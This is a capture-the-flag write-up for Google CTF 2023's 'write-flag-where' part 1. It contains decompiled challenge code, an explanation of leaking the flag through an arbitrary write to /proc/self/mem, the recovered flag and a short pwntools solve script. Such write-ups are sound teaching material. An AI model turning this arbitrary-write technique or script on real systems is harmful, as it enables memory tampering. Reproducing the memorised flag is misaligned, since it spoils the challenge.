write-flag-where

by bronson113 / b01lers

Tags: arbitrary-write pwn

Rating:

```
Part1:
This challenge is not a classical pwn
In order to solve it will take skills of your own
An excellent primitive you get for free
Choose an address and I will write what I see
But the author is cursed or perhaps it's just out of spite
For the flag that you seek is the thing you will write
ASLR isn't the challenge so I'll tell you what
I'll give you my mappings so that you'll have a shot.

nc wfw1.2023.ctfcompetition.com 1337
solves 294
```

From reversing the challenge, we can quickly identify the behavior. The challenge first output the process map, allowing us to know pie, libc, and stack addresses. It then close stdin/stdout/stderr, and only accept inputs from fd 1337. Lastly, the challenge goes into a while loop, taking an address and a count, then write count number of bytes of flag to the specified address. Note that the flag is written by writting directly to the process memory file, so all addresses are writable, including the code themselves. This will be handy for part 3.

The decompiled code from ghidra for part 3, with some modification to reflect each level:

```
int main(){
  local_c = open("/proc/self/maps",0);
  read(local_c,maps,0x1000);
  close(local_c);
  local_10 = open("./flag.txt",0);
  if (local_10 == -1) {
    puts("flag.txt not found");
  }
  else {
    sVar2 = read(local_10,flag,0x80);
    if (0 < sVar2) {
      close(local_10);
      local_14 = dup2(1,0x539);
      local_18 = open("/dev/null",2);
      dup2(local_18,0);
      dup2(local_18,1);
      dup2(local_18,2);
      close(local_18);
      alarm(0x3c);
      dprintf(local_14,
              "Your skills are considerable, I\'m sure you\'ll agree\nBut this final level\'s toughn es
s fills me with glee\nNo writes to my binary, this I require\nFor otherwise I will s urely expire\n"
```

```
            );
      dprintf(local_14,"%s\n\n",maps);
      while( true ) {
    // dprintf(local_14,"Give me an address and a length just so:\n<address> <length>\nAnd I\'ll write
it wh erever you want it to go.\nIf an exit is all that you desire\nSend me nothing and I  will happily
expire\n"); // part 1
        local_78 = 0;
        local_70 = 0;
        local_68 = 0;
        local_60 = 0;
        local_58 = 0;
        local_50 = 0;
        local_48 = 0;
        local_40 = 0;
        sVar2 = read(local_14,&local_78,0x40);
        local_1c = (undefined4)sVar2;
        iVar1 = __isoc99_sscanf(&local_78,"0x%llx %u",&local_28,&local_2c);
    // if (((iVar1 != 2) || (0x7f < local_2c))) // part 2
        if (((iVar1 != 2) || (0x7f < local_2c)) || ((main - 0x5000 < local_28 && (local_28 < main + 0x5
000)))) // part 3
        break;
        local_20 = open("/proc/self/mem",2);
        lseek64(local_20,local_28,0);
        write(local_20,flag,(ulong)local_2c);
        close(local_20);
      }
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
    puts("flag.txt empty");
  }
  return 1;
}
```

For part 1, there is a dprintf function call after the entrence to the while loop, so writing the flag to the string that are printed each loop can leak the flag.

`CTF{Y0ur_j0urn3y_is_0n1y_ju5t_b39innin9}`

```
from pwn import *

elf = ELF("./chal_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.35.so")

context.binary = elf
context.terminal = ["tmux", "splitw", "-h"]

def connect():
        nc_str = "nc wfw1.2023.ctfcompetition.com 1337"
        _, host, port = nc_str.split(" ")
        p = remote(host, int(port))

    return p

def main():
    p = connect()
    p.recvuntil(b"shot.\n")
    s = p.recvline()
    elf.address = int(s.split(b'-')[0], 16)
    print(hex(elf.address))
    p.sendline(f"{hex(elf.address + 0x21e0)} 60")

    p.interactive()


if __name__ == "__main__":
    main()
```

link to blog

Original writeup (https://bronson113.github.io/2023/06/26/googlectf-2023-writeup.html#write-flag-where-13).

Comments